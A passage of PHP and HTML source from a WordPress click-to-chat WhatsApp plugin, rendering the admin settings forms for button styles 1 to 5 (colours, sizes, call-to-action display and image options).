        <div class="collapsible-body">

        <p class="description"><?php _e( 'Style-1', 'click-to-chat-for-whatsapp' ); ?>: <?php _e( 'button that appears like themes button', 'click-to-chat-for-whatsapp' ); ?></p>
        <br><br>

        <!-- Text color -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Text Color', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input class="ht-ctc-color" name="<?= $dbrow; ?>[s1_text_color]" value="<?= $s1_text_color; ?>" type="text" data-update-type='color' data-update-selector='.ctc_s_1 .ctc_cta'>
            </div>
        </div>

        <!-- background color -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Background Color', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input class="ht-ctc-color" name="<?= $dbrow; ?>[s1_bg_color]" value="<?= $s1_bg_color; ?>" type="text" data-update-type='background-color' data-update-selector='.ctc_s_1'>
            </div>
        </div>

        <!-- Add icon -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Add Icon', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <p>
                    <label>
                        <input name="<?= $dbrow; ?>[s1_add_icon]" type="checkbox" value="1" <?php checked( $s1_add_icon_checkbox, 1 ); ?> class="s1_add_icon ctc_no_demo" id="s1_add_icon"/>
                        <span><?php _e( 'Add Icon', 'click-to-chat-for-whatsapp' ); ?></span>
                    </label>
                </p>
            </div>
        </div>

        <!-- Icon color -->
        <div class="row s1_icon_settings">
            <div class="col s6">
                <p><?php _e( 'Icon Color', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input class="ht-ctc-color" name="<?= $dbrow; ?>[s1_icon_color]" value="<?= $s1_icon_color; ?>" type="text" data-default-color="#25D366" data-update-type='fill' data-update-selector='.ctc_s_1 svg path'>
            </div>
        </div>

        <!-- icon size -->
        <div class="row s1_icon_settings">
            <div class="col s6">
                <p><?php _e( 'Icon Size', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input name="<?= $dbrow; ?>[s1_icon_size]" value="<?= $s1_icon_size ?>" id="s1_icon_size" type="text" class="s1_icon_size ctc_oninput" data-update-type='height' data-update-type-2='width' data-update-selector='.ctc_s_1 svg'>
                <label for="s1_icon_size"><?php _e( 'Icon Size', 'click-to-chat-for-whatsapp' ); ?> (e.g. 15px)</label>
            </div>
        </div>

        <!-- Full Width on Mobile -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Full Width on Mobile', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <?php
                if ( isset( $options['s1_m_fullwidth'] ) ) {
                    ?>
                    <p>
                        <label>
                            <input name="<?= $dbrow; ?>[s1_m_fullwidth]" type="checkbox" class="ctc_no_demo" value="1" <?php checked( $options['s1_m_fullwidth'], 1 ); ?> id="s1_m_fullwidth" />
                            <span><?php _e( 'Full Width on Mobile', 'click-to-chat-for-whatsapp' ); ?></span>
                        </label>
                    </p>
                    <?php
                } else {
                ?>
                <p>
                    <label>
                        <input name="<?= $dbrow; ?>[s1_m_fullwidth]" type="checkbox" class="ctc_no_demo" value="1" id="s1_m_fullwidth" />
                        <span><?php _e( 'Full Width on Mobile', 'click-to-chat-for-whatsapp' ); ?></span>
                    </label>
                </p>
                <?php
                }
                ?>
            </div>
        </div>


        <p class="description"><a target="_blank" href="https://holithemes.com/plugins/click-to-chat/style-1/"><?php _e( 'Style-1', 'click-to-chat-for-whatsapp' ); ?></a></p>
        
        </div>
        </div>
        </li>
        </ul>
        
        <?php
    }



    // style-2 - ht_ctc_s2 - whatsapp ios style icon
    function ht_ctc_s2_cb() {

        $options = get_option('ht_ctc_s2');
        $dbrow = 'ht_ctc_s2';
        $style = "s2";
        $s2_img_size = ( isset( $options['s2_img_size']) ) ? esc_attr( $options['s2_img_size'] ) : '';

        ?>
        <ul class="collapsible ht_ctc_customize_style ht_ctc_s2" data-collapsible="accordion" data-style='2'>
        <li>
        <div class="collapsible-header"><?php _e( 'Style 2', 'click-to-chat-for-whatsapp' ); ?>
            <span class="right_icon dashicons dashicons-arrow-down-alt2"></span>
        </div>
        <div class="collapsible-body">


        <!-- img size -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Image Size', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input name="<?= $dbrow; ?>[s2_img_size]" value="<?= $s2_img_size ?>" id="s2_img_size" type="text" class="ctc_oninput" data-update-type='height' data-update-type-2='width' data-update-selector='.ctc_s_2 svg'>
                <label for="s2_img_size"><?php _e( 'Image Size', 'click-to-chat-for-whatsapp' ); ?> (e.g. 50px)</label>
            </div>
        </div>

        <?php
        $select_cta_type = ( isset( $options['cta_type']) ) ? esc_attr( $options['cta_type'] ) : '';

        $cta_textcolor = ( isset( $options['cta_textcolor']) ) ? esc_attr( $options['cta_textcolor'] ) : '';
        $cta_bgcolor = ( isset( $options['cta_bgcolor']) ) ? esc_attr( $options['cta_bgcolor'] ) : '';
        $cta_font_size = ( isset( $options['cta_font_size']) ) ? esc_attr( $options['cta_font_size'] ) : '';

        ?>

        <h5 style="display: flex;">Call to Action </h5>
        <hr>
        <!-- call to action - hover / show / hide -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Display - Call to Action', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <select name="<?= $dbrow; ?>[cta_type]" class="select_cta_type ctc_oninput" data-update-type='cta' data-update-selector='.ctc_s_2 .ctc_cta'>
                    <option value="hover" <?= $select_cta_type == 'hover' ? 'SELECTED' : ''; ?> >On Hover</option>
                    <option value="show" <?= $select_cta_type == 'show' ? 'SELECTED' : ''; ?> >Show</option>
                    <option value="hide" <?= $select_cta_type == 'hide' ? 'SELECTED' : ''; ?> >Hide</option>
                    <?php
                    if ( 's7' == $style) {
                    ?>
                    <option value="inside" <?= $select_cta_type == 'inside' ? 'SELECTED' : ''; ?> >Inside padding</option>
                    <?php
                    }
                    ?>
                </select>
            </div>
        </div>

        <!-- call to action - Text color -->
        <div class="row cta_textcolor cta_stick">
            <div class="col s6">
                <p><?php _e( 'Call to Action - Text Color', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input class="ht-ctc-color" name="<?= $dbrow; ?>[cta_textcolor]" data-default-color="#ffffff" value="<?= $cta_textcolor ?>" type="text" data-update-type='color' data-update-selector='.ctc_s_2 .ctc_cta'>
            </div>
        </div>

        <!-- call to action - background color -->
        <div class="row cta_bgcolor cta_stick">
            <div class="col s6">
                <p><?php _e( 'Call to Action - Background Color', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input class="ht-ctc-color" name="<?= $dbrow; ?>[cta_bgcolor]" data-default-color="#25D366" value="<?= $cta_bgcolor ?>" id="cta_bgcolor" type="text" data-update-type='background-color' data-update-selector='.ctc_s_2 .ctc_cta'>
            </div>
        </div>

        <!-- font size -->
        <div class="row cta_font_size cta_stick">
            <div class="col s6">
                <p><?php _e( 'Font Size', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input name="<?= $dbrow; ?>[cta_font_size]" value="<?= $cta_font_size ?>" id="s2_cta_font_size" type="text" class="ctc_oninput" data-update-type='font-size' data-update-selector='.ctc_s_2 .ctc_cta'>
                <label for="s2_cta_font_size"><?php _e( 'Font Size (e.g. 15px)', 'click-to-chat-for-whatsapp' ); ?></label>
            </div>
        </div>


        </div>
        </div>
        </li>
        </ul>
        
        <?php
    }



    // style-3 - ht_ctc_s3 - whatsapp android style icon
    function ht_ctc_s3_cb() {

        $options = get_option('ht_ctc_s3');
        $dbrow = 'ht_ctc_s3';
        $style = "s3";
        
        $select_s3_type = ( isset( $options['s3_type']) ) ? esc_attr( $options['s3_type'] ) : '1';

        $s3_img_size = ( isset( $options['s3_img_size']) ) ? esc_attr( $options['s3_img_size'] ) : '';

        $s3_extend_img_size = ( isset( $options['s3_extend_img_size']) ) ? esc_attr( $options['s3_extend_img_size'] ) : '';
        $s3_padding = ( isset( $options['s3_padding']) ) ? esc_attr( $options['s3_padding'] ) : '';

        $s3_bg_color = ( isset( $options['s3_bg_color']) ) ? esc_attr( $options['s3_bg_color'] ) : '';
        $s3_bg_color_hover = ( isset( $options['s3_bg_color_hover']) ) ? esc_attr( $options['s3_bg_color_hover'] ) : '';

        $select_cta_type = ( isset( $options['cta_type']) ) ? esc_attr( $options['cta_type'] ) : '';
        $cta_textcolor = ( isset( $options['cta_textcolor']) ) ? esc_attr( $options['cta_textcolor'] ) : '';
        $cta_bgcolor = ( isset( $options['cta_bgcolor']) ) ? esc_attr( $options['cta_bgcolor'] ) : '';
        $cta_font_size = ( isset( $options['cta_font_size']) ) ? esc_attr( $options['cta_font_size'] ) : '';
        ?>
        <ul class="collapsible ht_ctc_customize_style ht_ctc_s3" data-collapsible="accordion" data-style='3'>
        <li>
        <div class="collapsible-header"><?php _e( 'Style 3', 'click-to-chat-for-whatsapp' ); ?>
            <span class="right_icon dashicons dashicons-arrow-down-alt2"></span>
        </div>
        <div class="collapsible-body">

        <!-- img size -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Image Size', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input name="ht_ctc_s3[s3_img_size]" value="<?= $s3_img_size ?>" id="s3_img_size" type="text" class="ctc_oninput" data-update-type='height' data-update-type-2='width' data-update-selector='.ctc_s_3 svg'>
                <label for="s3_img_size"><?php _e( 'Image Size (Default: 50px )', 'click-to-chat-for-whatsapp' ); ?></label>
            </div>
        </div>


        <h5 style="display: flex;">Call to Action </h5>
        <!-- call to action - hover / show / hide -->
        <hr>
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Display - Call to Action', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <select name="<?= $dbrow; ?>[cta_type]" class="select_cta_type ctc_oninput" data-update-type='cta' data-update-selector='.ctc_s_3 .ctc_cta'>
                    <option value="hover" <?= $select_cta_type == 'hover' ? 'SELECTED' : ''; ?> >On Hover</option>
                    <option value="show" <?= $select_cta_type == 'show' ? 'SELECTED' : ''; ?> >Show</option>
                    <option value="hide" <?= $select_cta_type == 'hide' ? 'SELECTED' : ''; ?> >Hide</option>
                    <?php
                    if ( 's7' == $style) {
                    ?>
                    <option value="inside" <?= $select_cta_type == 'inside' ? 'SELECTED' : ''; ?> >Inside padding</option>
                    <?php
                    }
                    ?>
                </select>
            </div>
        </div>

        <!-- call to action - Text color -->
        <div class="row cta_textcolor cta_stick">
            <div class="col s6">
                <p><?php _e( 'Call to Action - Text Color', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input class="ht-ctc-color" name="<?= $dbrow; ?>[cta_textcolor]" data-default-color="#ffffff" value="<?= $cta_textcolor; ?>" type="text" data-update-type='color' data-update-selector='.ctc_s_3 .ctc_cta'>
            </div>
        </div>

        <!-- call to action - background color -->
        <div class="row cta_bgcolor cta_stick">
            <div class="col s6">
                <p><?php _e( 'Call to Action - Background Color', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input class="ht-ctc-color" name="<?= $dbrow; ?>[cta_bgcolor]" data-default-color="#25D366" value="<?= $cta_bgcolor; ?>" id="cta_bgcolor" type="text" data-update-type='background-color' data-update-selector='.ctc_s_3 .ctc_cta'>
            </div>
        </div>

        <!-- font size -->
        <div class="row cta_font_size cta_stick">
            <div class="col s6">
                <p><?php _e( 'Font Size', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input name="<?= $dbrow; ?>[cta_font_size]" value="<?= $cta_font_size; ?>" id="s3_cta_font_size" type="text" class="ctc_oninput" data-update-type='font-size' data-update-selector='.ctc_s_3 .ctc_cta'>
                <label for="s3_cta_font_size"><?php _e( 'Font Size (e.g. 15px)', 'click-to-chat-for-whatsapp' ); ?></label>
            </div>
        </div>

        </div>
        </div>
        </li>
        </ul>
        
        <?php
    }


    // style-3_1 Extend - ht_ctc_s3_1 - full icon..
    function ht_ctc_s3_1_cb() {

        $options = get_option('ht_ctc_s3_1');
        $dbrow = 'ht_ctc_s3_1';
        $style = "s3";
        $select_s3_type = ( isset( $options['s3_type']) ) ? esc_attr( $options['s3_type'] ) : '1';

        $s3_img_size = ( isset( $options['s3_img_size']) ) ? esc_attr( $options['s3_img_size'] ) : '';

        $s3_extend_img_size = ( isset( $options['s3_extend_img_size']) ) ? esc_attr( $options['s3_extend_img_size'] ) : '';
        $s3_padding = ( isset( $options['s3_padding']) ) ? esc_attr( $options['s3_padding'] ) : '';

        $s3_bg_color = ( isset( $options['s3_bg_color']) ) ? esc_attr( $options['s3_bg_color'] ) : '';
        $s3_bg_color_hover = ( isset( $options['s3_bg_color_hover']) ) ? esc_attr( $options['s3_bg_color_hover'] ) : '';

        ?>
        <ul class="collapsible ht_ctc_customize_style ht_ctc_s3_1" data-collapsible="accordion" data-style='3_1'>
        <li>
        <div class="collapsible-header"><?php _e( 'Style 3 Extend', 'click-to-chat-for-whatsapp' ); ?>
            <span class="right_icon dashicons dashicons-arrow-down-alt2"></span>
        </div>
        <div class="collapsible-body">


        <!-- img size -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Image Size', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input name="ht_ctc_s3_1[s3_img_size]" value="<?= $s3_img_size; ?>" id="s3_1_img_size" type="text" class="ctc_oninput" data-update-type='height' data-update-type-2='width' data-update-selector='.ctc_s_3_1 svg'>
                <label for="s3_1_img_size"><?php _e( 'Image Size (Default: 40px )', 'click-to-chat-for-whatsapp' ); ?></label>
            </div>
        </div>

            
        <!-- padding -->
        <!-- todo:l pading size may need to update.. test at front end.. 1. i 32, p 16    2. i 36, p 16 or 15 -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Padding', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input name="ht_ctc_s3_1[s3_padding]" value="<?= $s3_padding; ?>" id="s3_padding" type="text" class="ctc_oninput" data-update-type='padding' data-update-selector='.ctc_s_3_1 .ht_ctc_padding'>
                <label for="s3_padding"><?php _e( 'Padding (Default: 20px )', 'click-to-chat-for-whatsapp' ); ?></label>
            </div>
        </div>

        <!-- background color -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Background Color', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input class="ht-ctc-color" name="ht_ctc_s3_1[s3_bg_color]" data-default-color="#25D366" value="<?= $s3_bg_color; ?>" id="s3_1_bg_color" type="text" data-update-type='background-color' data-update-selector='.ctc_s_3_1 .ht_ctc_padding'>
            </div>
        </div>

        <!-- background color hover -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Background Color on Hover', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input class="ht-ctc-color" name="ht_ctc_s3_1[s3_bg_color_hover]" data-default-color="#25D366" value="<?= $s3_bg_color_hover; ?>" id="s3_1_bg_color_hover" type="text">
                <p class="description"><?php _e( 'E.g. ', 'click-to-chat-for-whatsapp' ); ?> #25D366, #20b038</p>
            </div>
        </div>
        <?php

        // shadow
        ?>
        <div class="s3_box_shadow">
        <?php
        if ( isset( $options['s3_box_shadow'] ) ) {
        ?>
        <p>
            <label class="ctc_checkbox_label">
                <input name="ht_ctc_s3_1[s3_box_shadow]" type="checkbox" value="1" <?php checked( $options['s3_box_shadow'], 1 ); ?> id="s3_box_shadow" class=""/>
                <span><?php _e( 'Shadow', 'click-to-chat-for-whatsapp' ); ?></span>
            </label>
        </p>
        <?php
        } else {
            ?>
            <p>
                <label>
                    <input name="ht_ctc_s3_1[s3_box_shadow]" type="checkbox" value="1" id="s3_box_shadow" class=""/>
                    <span><?php _e( 'Shadow', 'click-to-chat-for-whatsapp' ); ?></span>
                </label>
            </p>
            <?php
        }
        ?>
        </div>
        <?php

        // shadow on hover
        ?>
        <div class="s3_box_shadow_hover ctc_init_display_none">
        <?php
        if ( isset( $options['s3_box_shadow_hover'] ) ) {
        ?>
        <p>
            <label>
                <input name="ht_ctc_s3_1[s3_box_shadow_hover]" type="checkbox" value="1" <?php checked( $options['s3_box_shadow_hover'], 1 ); ?> id="s3_box_shadow_hover" class=""/>
                <span><?php _e( 'Shadow on Hover only', 'click-to-chat-for-whatsapp' ); ?></span>
            </label>
        </p>
        <?php
        } else {
            ?>
            <p>
                <label>
                    <input name="ht_ctc_s3_1[s3_box_shadow_hover]" type="checkbox" value="1" id="s3_box_shadow_hover" class=""/>
                    <span><?php _e( 'Shadow on Hover only', 'click-to-chat-for-whatsapp' ); ?></span>
                </label>
            </p>
            <?php
        }
        ?>
        </div>
        <br>

        <?php
        $select_cta_type = ( isset( $options['cta_type']) ) ? esc_attr( $options['cta_type'] ) : '';

        $cta_textcolor = ( isset( $options['cta_textcolor']) ) ? esc_attr( $options['cta_textcolor'] ) : '';
        $cta_bgcolor = ( isset( $options['cta_bgcolor']) ) ? esc_attr( $options['cta_bgcolor'] ) : '';
        $cta_font_size = ( isset( $options['cta_font_size']) ) ? esc_attr( $options['cta_font_size'] ) : '';

        ?>

        <h5 style="display: flex;">Call to Action </h5>
        <hr>
        <!-- call to action - hover / show / hide -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Display - Call to Action', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <select name="<?= $dbrow; ?>[cta_type]" class="select_cta_type ctc_oninput" data-update-type='cta' data-update-selector='.ctc_s_3_1 .ctc_cta'>
                    <option value="hover" <?= $select_cta_type == 'hover' ? 'SELECTED' : ''; ?> >On Hover</option>
                    <option value="show" <?= $select_cta_type == 'show' ? 'SELECTED' : ''; ?> >Show</option>
                    <option value="hide" <?= $select_cta_type == 'hide' ? 'SELECTED' : ''; ?> >Hide</option>
                    <?php
                    if ( 's7' == $style) {
                    ?>
                    <option value="inside" <?= $select_cta_type == 'inside' ? 'SELECTED' : ''; ?> >Inside padding</option>
                    <?php
                    }
                    ?>
                </select>
            </div>
        </div>

        <!-- call to action - Text color -->
        <div class="row cta_textcolor cta_stick">
            <div class="col s6">
                <p><?php _e( 'Call to Action - Text Color', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input class="ht-ctc-color" name="<?= $dbrow; ?>[cta_textcolor]" data-default-color="#ffffff" value="<?= $cta_textcolor ?>" type="text" data-update-type='color' data-update-selector='.ctc_s_3_1 .ctc_cta'>
            </div>
        </div>

        <!-- call to action - background color -->
        <div class="row cta_bgcolor cta_stick">
            <div class="col s6">
                <p><?php _e( 'Call to Action - Background Color', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input class="ht-ctc-color" name="<?= $dbrow; ?>[cta_bgcolor]" data-default-color="#25D366" value="<?= $cta_bgcolor ?>" id="cta_bgcolor" type="text" data-update-type='background-color' data-update-selector='.ctc_s_3_1 .ctc_cta'>
            </div>
        </div>

        <!-- font size -->
        <div class="row cta_font_size cta_stick">
            <div class="col s6">
                <p><?php _e( 'Font Size', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input name="<?= $dbrow; ?>[cta_font_size]" value="<?= $cta_font_size ?>" id="s3_1_cta_font_size" type="text" class="ctc_oninput" data-update-type='font-size' data-update-selector='.ctc_s_3_1 .ctc_cta'>
                <label for="s3_1_cta_font_size"><?php _e( 'Font Size (e.g. 15px)', 'click-to-chat-for-whatsapp' ); ?></label>
            </div>
        </div>


        </div>
        </div>
        </li>
        </ul>
        
        <?php
    }



    // style-4  - ht_ctc_s4 - chip
    function ht_ctc_s4_cb() {

        $options = get_option('ht_ctc_s4');
        $s4_text_color = ( isset( $options['s4_text_color']) ) ? esc_attr( $options['s4_text_color'] ) : '';
        $s4_bg_color = ( isset( $options['s4_bg_color']) ) ? esc_attr( $options['s4_bg_color'] ) : '';
        $s4_img_url = ( isset( $options['s4_img_url']) ) ? esc_attr( $options['s4_img_url'] ) : '';
        $s4_img_size = ( isset( $options['s4_img_size']) ) ? esc_attr( $options['s4_img_size'] ) : '';
        $select_s4_img_position = ( isset( $options['s4_img_position']) ) ? esc_attr( $options['s4_img_position'] ) : '';
        ?>
        <ul class="collapsible ht_ctc_customize_style ht_ctc_s4" data-collapsible="accordion" data-style='4'>
        <li>
        <div class="collapsible-header">Style 4
            <span class="right_icon dashicons dashicons-arrow-down-alt2"></span>
        </div>
        <div class="collapsible-body">

        <!-- text color -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Text Color', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input class="ht-ctc-color" name="ht_ctc_s4[s4_text_color]" data-default-color="#7f7d7d" value="<?= $s4_text_color ?>" id="s4_text_color" type="text" data-update-type='color' data-update-selector='.ctc_s_4'>
            </div>
        </div>

        <!-- background color -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Background Color', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input id="s4_bg_color" class="ht-ctc-color" data-default-color="#e4e4e4" name="ht_ctc_s4[s4_bg_color]" value="<?= $s4_bg_color ?>" type="text" style="height: 1.375rem;" data-update-type='background-color' data-update-selector='.ctc_s_4'>
            </div>
        </div>

        <!-- Image position -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Image Position', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <select name="ht_ctc_s4[s4_img_position]" class="select-2 s4_img_position">
                    <option value="left" <?= $select_s4_img_position == 'left' ? 'SELECTED' : ''; ?> >Left</option>
                    <option value="right" <?= $select_s4_img_position == 'right' ? 'SELECTED' : ''; ?> >Right</option>
                </select>
            </div>
        </div>

        <!-- image url -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Image URL', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input name="ht_ctc_s4[s4_img_url]" value="<?= $s4_img_url ?>" id="s4_img_url" type="text" class="ctc_no_demo" >
                <label for="s4_img_url"><?php _e( 'Image URL(leave blank for default image)', 'click-to-chat-for-whatsapp' ); ?></label>
            </div>
        </div>

        <!-- img size -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Image Size', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input name="ht_ctc_s4[s4_img_size]" value="<?= $s4_img_size ?>" id="s4_img_size" type="text" class="ctc_oninput" data-update-type='height' data-update-type-2='width' data-update-selector='.ctc_s_4 svg'>
                <label for="s4_img_size"><?php _e( 'Image Size (default 32px)', 'click-to-chat-for-whatsapp' ); ?></label>
                <p class="description"><?php _e( '(possible, keep the value less then or equal to 32px)', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
        </div>


        </div>
        </div>
        </li>
        </ul>
        
        <?php
    }



    // style-5  - ht_ctc_s5 - chip
    function ht_ctc_s5_cb() {

        $options = get_option('ht_ctc_s5');
        $s5_line_1 = ( isset( $options['s5_line_1']) ) ? esc_attr( $options['s5_line_1'] ) : '';
        $s5_line_2 = ( isset( $options['s5_line_2']) ) ? esc_attr( $options['s5_line_2'] ) : '';
        $s5_line_1_color = ( isset( $options['s5_line_1_color']) ) ? esc_attr( $options['s5_line_1_color'] ) : '';
        $s5_line_2_color = ( isset( $options['s5_line_2_color']) ) ? esc_attr( $options['s5_line_2_color'] ) : '';
        $s5_background_color = ( isset( $options['s5_background_color']) ) ? esc_attr( $options['s5_background_color'] ) : '';
        $s5_border_color = ( isset( $options['s5_border_color']) ) ? esc_attr( $options['s5_border_color'] ) : '';
        $s5_img = ( isset( $options['s5_img']) ) ? esc_attr( $options['s5_img'] ) : '';
        $s5_img_height = ( isset( $options['s5_img_height']) ) ? esc_attr( $options['s5_img_height'] ) : '';
        $s5_img_width = ( isset( $options['s5_img_width']) ) ? esc_attr( $options['s5_img_width'] ) : '';
        $s5_content_height = ( isset( $options['s5_content_height']) ) ? esc_attr( $options['s5_content_height'] ) : '';
        $s5_content_width = ( isset( $options['s5_content_width']) ) ? esc_attr( $options['s5_content_width'] ) : '';
        $select_s5_img_position = ( isset( $options['s5_img_position']) ) ? esc_attr( $options['s5_img_position'] ) : '';
        ?>
        <ul class="collapsible ht_ctc_customize_style ht_ctc_s5" data-collapsible="accordion" data-style='5'>
        <li>
        <div class="collapsible-header"><?php _e( 'Style 5', 'click-to-chat-for-whatsapp' ); ?>
            <span class="right_icon dashicons dashicons-arrow-down-alt2"></span>
        </div>
        <div class="collapsible-body">

        <!-- s5_line_1 -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Line 1', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input name="ht_ctc_s5[s5_line_1]" value="<?= $s5_line_1 ?>" id="s5_line_1" type="text" class="ctc_no_demo" >
                <label for="s5_line_1"><?php _e( 'Line 1', 'click-to-chat-for-whatsapp' ); ?></label>
            </div>
        </div>

        <!-- s5_line_2 -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Line 2', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input name="ht_ctc_s5[s5_line_2]" value="<?= $s5_line_2 ?>" id="s5_line_2" type="text" class="ctc_oninput" data-update-type='text' data-update-selector='.ctc_s_5 .description'>
                <label for="s5_line_2"><?php _e( 'Line 2', 'click-to-chat-for-whatsapp' ); ?></label>
            </div>
        </div>

        <!-- s5_line_1_color -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Line 1 - Text Color', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input class="ht-ctc-color" name="ht_ctc_s5[s5_line_1_color]" data-default-color="#000000" value="<?= $s5_line_1_color ?>" id="s5_line_1_color" type="text" data-update-type='color' data-update-selector='.ctc_s_5 .heading'>
            </div>
        </div>

        <!-- s5_line_2_color -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Line 2 - Text Color', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input class="ht-ctc-color" name="ht_ctc_s5[s5_line_2_color]" data-default-color="#000000" value="<?= $s5_line_2_color ?>" id="s5_line_2_color" type="text" data-update-type='color' data-update-selector='.ctc_s_5 .description'>
            </div>
        </div>

        <!-- s5_background_color -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Content Box Background Color', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input class="ht-ctc-color" name="ht_ctc_s5[s5_background_color]" data-default-color="#ffffff" value="<?= $s5_background_color ?>" id="s5_background_color" type="text" data-update-type='background-color' data-update-selector='.ctc_s_5 .ctc_cta_stick'>
            </div>
        </div>

        <!-- s5_border_color -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Content Box Border Color', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input class="ht-ctc-color" name="ht_ctc_s5[s5_border_color]" data-default-color="#dddddd" value="<?= $s5_border_color ?>" id="s5_border_color" type="text" data-update-type='border-color' data-update-selector='.ctc_s_5 .ctc_cta_stick'>
            </div>
        </div>

        <!-- s5_img -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Image URL', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input name="ht_ctc_s5[s5_img]" value="<?= $s5_img ?>" id="s5_img" type="text" class="ctc_no_demo" >
                <label for="s5_img">Leave blank for default image</label>
            </div>
        </div>

        <!-- s5_img_height -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Image Height', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input name="ht_ctc_s5[s5_img_height]" value="<?= $s5_img_height ?>" id="s5_img_height" type="text" class="ctc_oninput" data-update-type='height' data-update-selector='.ctc_s_5 .s5_img'>
                <label for="s5_img_height"><?php _e( 'Image Height', 'click-to-chat-for-whatsapp' ); ?></label>
                <p class="description"><?php _e( 'E.g.', 'click-to-chat-for-whatsapp' ); ?> 70px</p>
            </div>
        </div>

        <!-- s5_img_width -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Image Width', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input name="ht_ctc_s5[s5_img_width]" value="<?= $s5_img_width ?>" id="s5_img_width" type="text" class="ctc_oninput" data-update-type='width' data-update-selector='.ctc_s_5 .s5_img'>
                <label for="s5_img_width"><?php _e( 'Image Width', 'click-to-chat-for-whatsapp' ); ?></label>
                <p class="description"><?php _e( 'E.g.', 'click-to-chat-for-whatsapp' ); ?> 70px</p>
            </div>
        </div>

        <!-- s5_content_height -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Content Box Height', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input name="ht_ctc_s5[s5_content_height]" value="<?= $s5_content_height ?>" id="s5_content_height" type="text" class="ctc_oninput"  data-update-type='height' data-update-selector='.ctc_s_5 .s5_content'>
                <label for="s5_content_height"><?php _e( 'Content Box Height', 'click-to-chat-for-whatsapp' ); ?></label>
                <p class="description"><?php _e( 'E.g.', 'click-to-chat-for-whatsapp' ); ?> 70px</p>
            </div>
        </div>

        <!-- s5_content_width -->
        <div class="row">
            <div class="col s6">
